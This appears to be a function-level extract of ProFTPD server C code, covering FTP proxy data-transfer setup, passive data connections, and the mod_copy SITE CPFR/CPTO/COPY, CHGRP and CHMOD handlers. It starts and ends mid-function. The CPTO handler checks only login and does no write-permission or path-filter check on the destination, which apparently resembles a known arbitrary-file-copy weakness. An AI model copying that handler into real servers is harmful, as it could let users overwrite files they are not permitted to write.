PR_CMD_EPRT_ID) { proxy_sess->dataxfer_policy = PR_CMD_PORT_ID; } active_cmd = C_PORT; policy_id = PR_CMD_PORT_ID; } } break; } bind_addr = proxy_sess->src_addr; if (bind_addr == NULL) { bind_addr = session.c->local_addr; } if (pr_netaddr_is_loopback(bind_addr) == TRUE && pr_netaddr_is_loopback(proxy_sess->backend_ctrl_conn->remote_addr) != TRUE) { const char *local_name; const pr_netaddr_t *local_addr; local_name = pr_netaddr_get_localaddr_str(cmd->pool); local_addr = pr_netaddr_get_addr(cmd->pool, local_name, NULL); if (local_addr != NULL) { pr_trace_msg(trace_channel, 14, "%s is a loopback address, using %s instead", pr_netaddr_get_ipstr(bind_addr), pr_netaddr_get_ipstr(local_addr)); bind_addr = local_addr; } } /* Need to check the family of the bind addr against the family of the * backend server. */ backend_family = pr_netaddr_get_family(proxy_sess->backend_ctrl_conn->remote_addr); bind_family = pr_netaddr_get_family(bind_addr); if (bind_family == backend_family) { #ifdef PR_USE_IPV6 if (pr_netaddr_use_ipv6()) { /* Make sure that the family is NOT IPv6, even though the local and * remote families match. The PORT command cannot be used for IPv6 * addresses -- but EPRT CAN be used for IPv6 addresses. */ if (bind_family == AF_INET6 && policy_id == PR_CMD_PORT_ID) { pr_netaddr_t *mapped_addr; mapped_addr = pr_netaddr_v6tov4(cmd->pool, bind_addr); if (mapped_addr != NULL) { pr_trace_msg(trace_channel, 9, "converting local IPv6 address '%s' to IPv4 address '%s' for " "active transfer using PORT", pr_netaddr_get_ipstr(bind_addr), pr_netaddr_get_ipstr(mapped_addr)); bind_addr = mapped_addr; } } } #endif /* PR_USE_IPV6 */ } else { if (backend_family == AF_INET) { pr_netaddr_t *mapped_addr; /* In this scenario, the remote peer is an IPv4 (or IPv4-mapped IPv6) * peer, so make sure we use an IPv4 local address. */ mapped_addr = pr_netaddr_v6tov4(cmd->pool, bind_addr); if (mapped_addr != NULL) { pr_trace_msg(trace_channel, 9, "converting local IPv6 address '%s' to IPv4 address '%s' for " "active transfer with IPv4 peer", pr_netaddr_get_ipstr(bind_addr), pr_netaddr_get_ipstr(mapped_addr)); bind_addr = mapped_addr; } } } if (proxy_sess->backend_data_conn != NULL) { /* Make sure that we only have one backend data connection. */ proxy_inet_close(session.pool, proxy_sess->backend_data_conn); proxy_sess->backend_data_conn = NULL; } data_conn = proxy_ftp_conn_listen(cmd->tmp_pool, bind_addr, FALSE); if (data_conn == NULL) { xerrno = errno; pr_response_add_err(error_code, _("Unable to build data connection: Internal error")); pr_response_flush(&resp_err_list); errno = xerrno; return -1; } proxy_sess->backend_data_conn = data_conn; switch (pr_cmd_get_id(active_cmd)) { case PR_CMD_PORT_ID: resp_msg = proxy_ftp_msg_fmt_addr(cmd->tmp_pool, data_conn->local_addr, data_conn->local_port, FALSE); break; case PR_CMD_EPRT_ID: resp_msg = proxy_ftp_msg_fmt_ext_addr(cmd->tmp_pool, data_conn->local_addr, data_conn->local_port, PR_CMD_EPRT_ID, FALSE); break; } actv_cmd = pr_cmd_alloc(cmd->tmp_pool, 2, active_cmd, resp_msg); actv_cmd->arg = (char *) resp_msg; pr_cmd_clear_cache(actv_cmd); res = proxy_ftp_ctrl_send_cmd(cmd->tmp_pool, proxy_sess->backend_ctrl_conn, actv_cmd); if (res < 0) { xerrno = errno; (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION, "error sending %s to backend: %s", (char *) actv_cmd->argv[0], strerror(xerrno)); proxy_inet_close(session.pool, proxy_sess->backend_data_conn); proxy_sess->backend_data_conn = NULL; pr_response_add_err(error_code, "%s: %s", (char *) cmd->argv[0], strerror(xerrno)); pr_response_flush(&resp_err_list); errno = xerrno; return -1; } resp = proxy_ftp_ctrl_recv_resp(cmd->tmp_pool, proxy_sess->backend_ctrl_conn, &resp_nlines, flags); if (resp == NULL) { xerrno = errno; (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION, "error receiving %s response from backend: %s", (char *) actv_cmd->argv[0], strerror(xerrno)); proxy_inet_close(session.pool, proxy_sess->backend_data_conn); proxy_sess->backend_data_conn = NULL; pr_response_add_err(error_code, "%s: %s", (char *) cmd->argv[0], strerror(xerrno)); pr_response_flush(&resp_err_list); errno = xerrno; return -1; } if (resp->num[0] != '2') { (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION, "received non-2xx response from backend for %s: %s %s", (char *) actv_cmd->argv[0], resp->num, resp->msg); proxy_inet_close(session.pool, proxy_sess->backend_data_conn); proxy_sess->backend_data_conn = NULL; if (policy_id == PR_CMD_EPRT_ID) { /* If using EPRT failed, try again using PORT, and switch the * DataTransferPolicy (if EPRT) to be PORT, for future attempts. */ if (proxy_sess->dataxfer_policy == PR_CMD_EPRT_ID) { pr_trace_msg(trace_channel, 15, "falling back from EPRT to PORT DataTransferPolicy"); proxy_sess->dataxfer_policy = PR_CMD_PORT_ID; } return proxy_ftp_xfer_prepare_active(PR_CMD_PORT_ID, cmd, error_code, proxy_sess, flags); } pr_response_add_err(error_code, "%s", resp->msg); pr_response_flush(&resp_err_list); errno = EINVAL; return -1; } return 0; }
static int data_pasv_open(char *reason, off_t size) { conn_t *c; int rev; if (!reason && session.xfer.filename) reason = session.xfer.filename; /* Set the "stalled" timer, if any, to prevent the connection * open from taking too long */ if (timeout_stalled) { pr_timer_add(timeout_stalled, PR_TIMER_STALLED, NULL, stalled_timeout_cb, "TimeoutStalled"); } /* We save the state of our current disposition for doing reverse * lookups, and then set it to what the configuration wants it to * be. */ rev = pr_netaddr_set_reverse_dns(ServerUseReverseDNS); /* Protocol and socket options should be set before handshaking. */ if (session.xfer.direction == PR_NETIO_IO_RD) { pr_inet_set_socket_opts(session.d->pool, session.d, (main_server->tcp_rcvbuf_override ? main_server->tcp_rcvbuf_len : 0), 0); } else { pr_inet_set_socket_opts(session.d->pool, session.d, 0, (main_server->tcp_sndbuf_override ? main_server->tcp_sndbuf_len : 0)); } c = pr_inet_accept(session.pool, session.d, session.c, -1, -1, TRUE); pr_netaddr_set_reverse_dns(rev); if (c && c->mode != CM_ERROR) { pr_inet_close(session.pool, session.d); pr_inet_set_nonblock(session.pool, c); session.d = c; pr_log_debug(DEBUG4, "passive data connection opened - local : %s:%d", pr_netaddr_get_ipstr(session.d->local_addr), session.d->local_port); pr_log_debug(DEBUG4, "passive data connection opened - remote : %s:%d", pr_netaddr_get_ipstr(session.d->remote_addr), session.d->remote_port); if (session.xfer.xfer_type != STOR_UNIQUE) { if (size) { pr_response_send(R_150, _("Opening %s mode data connection for %s " "(%" PR_LU " bytes)"), MODE_STRING, reason, (pr_off_t) size); } else { pr_response_send(R_150, _("Opening %s mode data connection for %s"), MODE_STRING, reason); } } else { /* Format of 150 responses for STOU is explicitly dictated by * RFC 1123: * * 4.1.2.9 STOU Command: RFC-959 Section 4.1.3 * * The STOU command stores into a uniquely named file. When it * receives an STOU command, a Server-FTP MUST return the * actual file name in the "125 Transfer Starting" or the "150 * Opening Data Connection" message that precedes the transfer * (the 250 reply code mentioned in RFC-959 is incorrect). The * exact format of these messages is hereby defined to be as * follows: * * 125 FILE: pppp * 150 FILE: pppp * * where pppp represents the unique pathname of the file that * will be written. */ pr_response_send(R_150, "FILE: %s", reason); } return 0; } /* Check for error conditions. */ if (c && c->mode == CM_ERROR) pr_log_pri(PR_LOG_ERR, "Error: unable to accept an incoming data " "connection (%s)", strerror(c->xerrno)); pr_response_add_err(R_425, _("Unable to build data connection: %s"), strerror(session.d->xerrno)); destroy_pool(session.d->pool); session.d = NULL; return -1; }
MODRET copy_cpto(cmd_rec *cmd) { register unsigned int i; char *from, *to = ""; unsigned char *authenticated = NULL; if (copy_engine == FALSE) { return PR_DECLINED(cmd); } if (cmd->argc < 3 || strncasecmp(cmd->argv[1], "CPTO", 5) != 0) { return PR_DECLINED(cmd); } authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE); if (authenticated == NULL || *authenticated == FALSE) { pr_response_add_err(R_530, _("Please login with USER and PASS")); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } CHECK_CMD_MIN_ARGS(cmd, 3); from = pr_table_get(session.notes, "mod_copy.cpfr-path", NULL); if (from == NULL) { pr_response_add_err(R_503, _("Bad sequence of commands")); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } /* Construct the target file name by concatenating all the parameters after * the "SITE CPTO", separating them with spaces. */ for (i = 2; i <= cmd->argc-1; i++) { char *decoded_path; decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[i], FSIO_DECODE_FL_TELL_ERRORS); if (decoded_path == NULL) { int xerrno = errno; pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s", (char *) cmd->argv[i], strerror(xerrno)); pr_response_add_err(R_550, _("%s: Illegal character sequence in filename"), cmd->arg); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } to = pstrcat(cmd->tmp_pool, to, *to ? " " : "", decoded_path, NULL); } to = dir_canonical_vpath(cmd->tmp_pool, to); if (copy_paths(cmd->tmp_pool, from, to) < 0) { int xerrno = errno; pr_response_add_err(R_550, "%s: %s", (char *) cmd->argv[1], strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } pr_response_add(R_250, "%s", _("Copy successful")); return PR_HANDLED(cmd); }
const pr_netaddr_t *proxy_ftp_xfer_prepare_passive(int policy_id, cmd_rec *cmd, const char *error_code, struct proxy_session *proxy_sess, int flags) { int res, xerrno = 0; cmd_rec *pasv_cmd; const pr_netaddr_t *remote_addr = NULL; pr_response_t *resp; unsigned int resp_nlines = 0; unsigned short remote_port; char *passive_cmd, *passive_respcode = NULL; if (cmd == NULL || error_code == NULL || proxy_sess == NULL || proxy_sess->backend_ctrl_conn == NULL) { errno = EINVAL; return NULL; } /* Whether we send a PASV (and expect 227) or an EPSV (and expect 229) * need to depend on the policy_id. */ switch (policy_id) { case PR_CMD_PASV_ID: passive_cmd = C_PASV; break; case PR_CMD_EPSV_ID: /* If the remote host does not mention EPSV in its features, fall back * to using PASV. */ passive_cmd = C_EPSV; if (pr_table_get(proxy_sess->backend_features, C_EPSV, NULL) == NULL) { pr_trace_msg(trace_channel, 19, "EPSV not supported by backend server (via FEAT), using PASV"); if (proxy_sess->dataxfer_policy == PR_CMD_EPSV_ID) { proxy_sess->dataxfer_policy = PR_CMD_PASV_ID; } passive_cmd = C_PASV; policy_id = PR_CMD_PASV_ID; } break; default: /* In this case, the cmd we were given is the one we should send to * the backend server -- but only if it is either EPSV or PASV. */ if (pr_cmd_cmp(cmd, PR_CMD_EPSV_ID) != 0 && pr_cmd_cmp(cmd, PR_CMD_PASV_ID) != 0) { pr_trace_msg(trace_channel, 9, "illegal FTP passive transfer command '%s'", (char *) cmd->argv[0]); errno = EINVAL; return NULL; } passive_cmd = cmd->argv[0]; if (pr_cmd_cmp(cmd, PR_CMD_EPSV_ID) == 0) { /* If the remote host does not mention EPSV in its features, fall back * to using PASV. */ if (pr_table_get(proxy_sess->backend_features, C_EPSV, NULL) == NULL) { pr_trace_msg(trace_channel, 19, "EPSV not supported by backend server (via FEAT), using PASV"); if (proxy_sess->dataxfer_policy == PR_CMD_EPSV_ID) { proxy_sess->dataxfer_policy = PR_CMD_PASV_ID; } passive_cmd = C_PASV; policy_id = PR_CMD_PASV_ID; } } break; } pasv_cmd = pr_cmd_alloc(cmd->tmp_pool, 1, passive_cmd); switch (pr_cmd_get_id(pasv_cmd->argv[0])) { case PR_CMD_PASV_ID: passive_respcode = R_227; break; case PR_CMD_EPSV_ID: passive_respcode = R_229; break; } res = proxy_ftp_ctrl_send_cmd(cmd->tmp_pool, proxy_sess->backend_ctrl_conn, pasv_cmd); if (res < 0) { xerrno = errno; (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION, "error sending %s to backend: %s", (char *) pasv_cmd->argv[0], strerror(xerrno)); pr_response_add_err(error_code, "%s: %s", (char *) cmd->argv[0], strerror(xerrno)); pr_response_flush(&resp_err_list); errno = xerrno; return NULL; } resp = proxy_ftp_ctrl_recv_resp(cmd->tmp_pool, proxy_sess->backend_ctrl_conn, &resp_nlines, flags); if (resp == NULL) { xerrno = errno; (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION, "error receiving %s response from backend: %s", (char *) pasv_cmd->argv[0], strerror(xerrno)); pr_response_add_err(error_code, "%s: %s", (char *) cmd->argv[0], strerror(xerrno)); pr_response_flush(&resp_err_list); errno = xerrno; return NULL; } /* We specifically expect a 227 or 229 response code here; anything else is * an error. Right? */ if (strncmp(resp->num, passive_respcode, 4) != 0) { (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION, "received response code %s, but expected %s for %s command", resp->num, passive_respcode, (char *) pasv_cmd->argv[0]); if (policy_id == PR_CMD_EPSV_ID) { /* If using EPSV failed, try again using PASV, and switch the * DataTransferPolicy (if EPSV) to be PASV, for future attempts. */ if (proxy_sess->dataxfer_policy == PR_CMD_EPSV_ID) { pr_trace_msg(trace_channel, 15, "falling back from EPSV to PASV DataTransferPolicy"); proxy_sess->dataxfer_policy = PR_CMD_PASV_ID; } return proxy_ftp_xfer_prepare_passive(PR_CMD_PASV_ID, cmd, error_code, proxy_sess, flags); } res = proxy_ftp_ctrl_send_resp(cmd->tmp_pool, proxy_sess->frontend_ctrl_conn, resp, resp_nlines); errno = EPERM; return NULL; } switch (pr_cmd_get_id(pasv_cmd->argv[0])) { case PR_CMD_PASV_ID: remote_addr = proxy_ftp_msg_parse_addr(cmd->tmp_pool, resp->msg, pr_netaddr_get_family(session.c->local_addr)); break; case PR_CMD_EPSV_ID: remote_addr = proxy_ftp_msg_parse_ext_addr(cmd->tmp_pool, resp->msg, session.c->remote_addr, PR_CMD_EPSV_ID, NULL); break; } if (remote_addr == NULL) { xerrno = errno; pr_trace_msg(trace_channel, 2, "error parsing %s response '%s': %s", (char *) pasv_cmd->argv[0], resp->msg, strerror(xerrno)); xerrno = EPERM; pr_response_add_err(error_code, "%s: %s", (char *) cmd->argv[0], strerror(xerrno)); pr_response_flush(&resp_err_list); errno = xerrno; return NULL; } remote_port = ntohs(pr_netaddr_get_port(remote_addr)); /* Make sure that the given address matches the address to which we * originally connected. */ if (pr_netaddr_cmp(remote_addr, proxy_sess->backend_ctrl_conn->remote_addr) != 0) { (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION, "Refused %s address %s (address mismatch with %s)", (char *) pasv_cmd->argv[0], pr_netaddr_get_ipstr(remote_addr), pr_netaddr_get_ipstr(proxy_sess->backend_ctrl_conn->remote_addr)); xerrno = EPERM; pr_response_add_err(error_code, "%s: %s", (char *) cmd->argv[0], strerror(xerrno)); pr_response_flush(&resp_err_list); errno = xerrno; return NULL; } if (remote_port < 1024) { (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION, "Refused %s port %hu (below 1024)", (char *) pasv_cmd->argv[0], remote_port); xerrno = EPERM; pr_response_add_err(error_code, "%s: %s", (char *) cmd->argv[0], strerror(xerrno)); pr_response_flush(&resp_err_list); errno = xerrno; return NULL; } return remote_addr; }
MODRET copy_cpfr(cmd_rec *cmd) { register unsigned int i; int res; char *path = ""; unsigned char *authenticated = NULL; if (copy_engine == FALSE) { return PR_DECLINED(cmd); } if (cmd->argc < 3 || strncasecmp(cmd->argv[1], "CPFR", 5) != 0) { return PR_DECLINED(cmd); } authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE); if (authenticated == NULL || *authenticated == FALSE) { pr_response_add_err(R_530, _("Please login with USER and PASS")); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } CHECK_CMD_MIN_ARGS(cmd, 3); /* Construct the target file name by concatenating all the parameters after * the "SITE CPFR", separating them with spaces. */ for (i = 2; i <= cmd->argc-1; i++) { char *decoded_path; decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[i], FSIO_DECODE_FL_TELL_ERRORS); if (decoded_path == NULL) { int xerrno = errno; pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s", (char *) cmd->argv[i], strerror(xerrno)); pr_response_add_err(R_550, _("%s: Illegal character sequence in filename"), cmd->arg); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } path = pstrcat(cmd->tmp_pool, path, *path ? " " : "", decoded_path, NULL); } res = pr_filter_allow_path(CURRENT_CONF, path); switch (res) { case 0: break; case PR_FILTER_ERR_FAILS_ALLOW_FILTER: pr_log_debug(DEBUG2, MOD_COPY_VERSION ": 'CPFR %s' denied by PathAllowFilter", path); pr_response_add_err(R_550, _("%s: Forbidden filename"), path); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); case PR_FILTER_ERR_FAILS_DENY_FILTER: pr_log_debug(DEBUG2, MOD_COPY_VERSION ": 'CPFR %s' denied by PathDenyFilter", path); pr_response_add_err(R_550, _("%s: Forbidden filename"), path); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } /* Allow renaming a symlink, even a dangling one. */ path = dir_canonical_vpath(cmd->tmp_pool, path); if (!path || !dir_check_canon(cmd->tmp_pool, cmd, cmd->group, path, NULL) || !exists(path)) { int xerrno = errno; pr_response_add_err(R_550, "%s: %s", path, strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } if (pr_table_add(session.notes, "mod_copy.cpfr-path", pstrdup(session.pool, path), 0) < 0) { pr_trace_msg(trace_channel, 4, "error adding 'mod_copy.cpfr-path' note: %s", strerror(errno)); } pr_response_add(R_350, _("File or directory exists, ready for destination " "name")); return PR_HANDLED(cmd); }
MODRET copy_copy(cmd_rec *cmd) { if (copy_engine == FALSE) { return PR_DECLINED(cmd); } if (cmd->argc < 2) { return PR_DECLINED(cmd); } if (strncasecmp(cmd->argv[1], "COPY", 5) == 0) { char *cmd_name, *decoded_path, *from, *to; unsigned char *authenticated; if (cmd->argc != 4) { return PR_DECLINED(cmd); } authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE); if (authenticated == NULL || *authenticated == FALSE) { pr_response_add_err(R_530, _("Please login with USER and PASS")); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } /* XXX What about paths which contain spaces? */ decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[2], FSIO_DECODE_FL_TELL_ERRORS); if (decoded_path == NULL) { int xerrno = errno; pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s", (char *) cmd->argv[2], strerror(xerrno)); pr_response_add_err(R_550, _("%s: Illegal character sequence in filename"), (char *) cmd->argv[2]); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } from = dir_canonical_vpath(cmd->tmp_pool, decoded_path); decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[3], FSIO_DECODE_FL_TELL_ERRORS); if (decoded_path == NULL) { int xerrno = errno; pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s", (char *) cmd->argv[3], strerror(xerrno)); pr_response_add_err(R_550, _("%s: Illegal character sequence in filename"), (char *) cmd->argv[3]); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } to = dir_canonical_vpath(cmd->tmp_pool, decoded_path); cmd_name = cmd->argv[0]; pr_cmd_set_name(cmd, "SITE_COPY"); if (!dir_check(cmd->tmp_pool, cmd, G_WRITE, to, NULL)) { int xerrno = EPERM; pr_cmd_set_name(cmd, cmd_name); pr_response_add_err(R_550, "%s: %s", (char *) cmd->argv[3], strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } pr_cmd_set_name(cmd, cmd_name); if (copy_paths(cmd->tmp_pool, from, to) < 0) { int xerrno = errno; pr_response_add_err(R_550, "%s: %s", (char *) cmd->argv[1], strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } pr_response_add(R_200, _("SITE %s command successful"), (char *) cmd->argv[1]); return PR_HANDLED(cmd); } if (strncasecmp(cmd->argv[1], "HELP", 5) == 0) { pr_response_add(R_214, _("CPFR <sp> pathname")); pr_response_add(R_214, _("CPTO <sp> pathname")); } return PR_DECLINED(cmd); }
MODRET site_chgrp(cmd_rec *cmd) { int res; gid_t gid; char *path = NULL, *tmp = NULL, *arg = ""; struct stat st; register unsigned int i = 0; #ifdef PR_USE_REGEX pr_regex_t *pre; #endif if (cmd->argc < 3) { pr_response_add_err(R_500, _("'SITE %s' not understood"), _get_full_cmd(cmd)); return NULL; } /* Construct the target file name by concatenating all the parameters after * the mode, separating them with spaces. */ for (i = 2; i <= cmd->argc-1; i++) { char *decoded_path; decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[i], FSIO_DECODE_FL_TELL_ERRORS); if (decoded_path == NULL) { int xerrno = errno; pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s", (char *) cmd->argv[i], strerror(xerrno)); pr_response_add_err(R_550, _("SITE %s: Illegal character sequence in command"), (char *) cmd->argv[1]); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } arg = pstrcat(cmd->tmp_pool, arg, *arg ? " " : "", decoded_path, NULL); } #ifdef PR_USE_REGEX pre = get_param_ptr(CURRENT_CONF, "PathAllowFilter", FALSE); if (pre != NULL && pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) != 0) { pr_log_debug(DEBUG2, "'%s %s' denied by PathAllowFilter", (char *) cmd->argv[0], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } pre = get_param_ptr(CURRENT_CONF, "PathDenyFilter", FALSE); if (pre != NULL && pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) == 0) { pr_log_debug(DEBUG2, "'%s %s' denied by PathDenyFilter", (char *) cmd->argv[0], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } #endif if (pr_fsio_lstat(arg, &st) == 0) { if (S_ISLNK(st.st_mode)) { char link_path[PR_TUNABLE_PATH_MAX]; int len; memset(link_path, '\0', sizeof(link_path)); len = dir_readlink(cmd->tmp_pool, arg, link_path, sizeof(link_path)-1, PR_DIR_READLINK_FL_HANDLE_REL_PATH); if (len > 0) { link_path[len] = '\0'; arg = pstrdup(cmd->tmp_pool, link_path); } } } path = dir_realpath(cmd->tmp_pool, arg); if (path == NULL) { int xerrno = errno; pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } /* Map the given group argument, if a string, to a GID. If already a * number, pass through as is. */ gid = strtoul(cmd->argv[1], &tmp, 10); if (tmp && *tmp) { /* Try the parameter as a group name. */ gid = pr_auth_name2gid(cmd->tmp_pool, cmd->argv[1]); if (gid == (gid_t) -1) { int xerrno = EINVAL; pr_log_debug(DEBUG9, "SITE CHGRP: Unable to resolve group name '%s' to GID", (char *) cmd->argv[1]); pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } } res = core_chgrp(cmd, path, (uid_t) -1, gid); if (res < 0) { int xerrno = errno; (void) pr_trace_msg("fileperms", 1, "%s, user '%s' (UID %s, GID %s): " "error chown'ing '%s' to GID %s: %s", (char *) cmd->argv[0], session.user, pr_uid2str(cmd->tmp_pool, session.uid), pr_gid2str(cmd->tmp_pool, session.gid), path, pr_gid2str(cmd->tmp_pool, gid), strerror(xerrno)); pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } pr_response_add(R_200, _("SITE %s command successful"), (char *) cmd->argv[0]); return PR_HANDLED(cmd); }
MODRET site_chmod(cmd_rec *cmd) { int res; mode_t mode = 0; char *dir, *endp, *mode_str, *tmp, *arg = ""; struct stat st; register unsigned int i = 0; #ifdef PR_USE_REGEX pr_regex_t *pre; #endif if (cmd->argc < 3) { pr_response_add_err(R_500, _("'SITE %s' not understood"), _get_full_cmd(cmd)); return NULL; } /* Construct the target file name by concatenating all the parameters after * the mode, separating them with spaces. */ for (i = 2; i <= cmd->argc-1; i++) { char *decoded_path; decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[i], FSIO_DECODE_FL_TELL_ERRORS); if (decoded_path == NULL) { int xerrno = errno; pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s", (char *) cmd->argv[i], strerror(xerrno)); pr_response_add_err(R_550, _("SITE %s: Illegal character sequence in command"), (char *) cmd->argv[1]); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } arg = pstrcat(cmd->tmp_pool, arg, *arg ? " " : "", decoded_path, NULL); } #ifdef PR_USE_REGEX pre = get_param_ptr(CURRENT_CONF, "PathAllowFilter", FALSE); if (pre != NULL && pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) != 0) { pr_log_debug(DEBUG2, "'%s %s %s' denied by PathAllowFilter", (char *) cmd->argv[0], (char *) cmd->argv[1], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } pre = get_param_ptr(CURRENT_CONF, "PathDenyFilter", FALSE); if (pre != NULL && pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) == 0) { pr_log_debug(DEBUG2, "'%s %s %s' denied by PathDenyFilter", (char *) cmd->argv[0], (char *) cmd->argv[1], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } #endif if (pr_fsio_lstat(arg, &st) == 0) { if (S_ISLNK(st.st_mode)) { char link_path[PR_TUNABLE_PATH_MAX]; int len; memset(link_path, '\0', sizeof(link_path)); len = dir_readlink(cmd->tmp_pool, arg, link_path, sizeof(link_path)-1, PR_DIR_READLINK_FL_HANDLE_REL_PATH); if (len > 0) { link_path[len] = '\0'; arg = pstrdup(cmd->tmp_pool, link_path); } } } dir = dir_realpath(cmd->tmp_pool, arg); if (dir == NULL) { int xerrno = errno; pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } /* If the first character isn't '0', prepend it and attempt conversion. * This will fail if the chmod is a symbolic, but takes care of the * case where an octal number is sent without the leading '0'. */ mode_str = cmd->argv[1]; if (mode_str[0] != '0') { tmp = pstrcat(cmd->tmp_pool, "0", mode_str, NULL); } else { tmp = mode_str; } mode = strtol(tmp, &endp, 0); if (endp && *endp) { /* It's not an absolute number, try symbolic */ char *cp = mode_str; int mask = 0, mode_op = 0, curr_mode = 0, curr_umask = umask(0); int invalid = 0; char *who, *how, *what; umask(curr_umask); mode = 0; if (pr_fsio_stat(dir, &st) != -1) { curr_mode = st.st_mode; } while (TRUE) { pr_signals_handle(); who = pstrdup(cmd->tmp_pool, cp); tmp = strpbrk(who, "+-="); if (tmp != NULL) { how = pstrdup(cmd->tmp_pool, tmp); if (*how != '=') { mode = curr_mode; } *tmp = '\0'; } else { invalid++; break; } tmp = strpbrk(how, "rwxXstugo"); if (tmp != NULL) { what = pstrdup(cmd->tmp_pool, tmp); *tmp = '\0'; } else { invalid++; break; } cp = what; while (cp) { switch (*who) { case 'u': mask = 0077; break; case 'g': mask = 0707; break; case 'o': mask = 0770; break; case 'a': mask = 0000; break; case '\0': mask = curr_umask; break; default: invalid++; break; } if (invalid) break; switch (*how) { case '+': case '-': case '=': break; default: invalid++; } if (invalid) break; switch (*cp) { case 'r': mode_op |= (S_IRUSR|S_IRGRP|S_IROTH); break; case 'w': mode_op |= (S_IWUSR|S_IWGRP|S_IWOTH); break; case 'x': mode_op |= (S_IXUSR|S_IXGRP|S_IXOTH); break; /* 'X' not implemented */ case 's': /* setuid */ mode_op |= S_ISUID; break; case 't': /* sticky */ mode_op |= S_ISVTX; break; case 'o': mode_op |= (curr_mode & S_IRWXO); mode_op |= ((curr_mode & S_IRWXO) << 3); mode_op |= ((curr_mode & S_IRWXO) << 6); break; case 'g': mode_op |= ((curr_mode & S_IRWXG) >> 3); mode_op |= (curr_mode & S_IRWXG); mode_op |= ((curr_mode & S_IRWXG) << 3); break; case 'u': mode_op |= ((curr_mode & S_IRWXU) >> 6); mode_op |= ((curr_mode & S_IRWXU) >> 3); mode_op |= (curr_mode & S_IRWXU); break; case '\0': /* Apply the mode and move on */ switch (*how) { case '+': case '=': mode |= (mode_op & ~mask); break; case '-': mode &= ~(mode_op & ~mask); break; } mode_op = 0; if (*who && *(who+1)) { who++; cp = what; continue; } else { cp = NULL; } break; default: invalid++; } if (invalid) { break; } if (cp) { cp++; } } break; } if (invalid) { pr_response_add_err(R_550, _("'%s': invalid mode"), (char *) cmd->argv[1]); pr_cmd_set_errno(cmd, EINVAL); errno = EINVAL; return PR_ERROR(cmd); } }
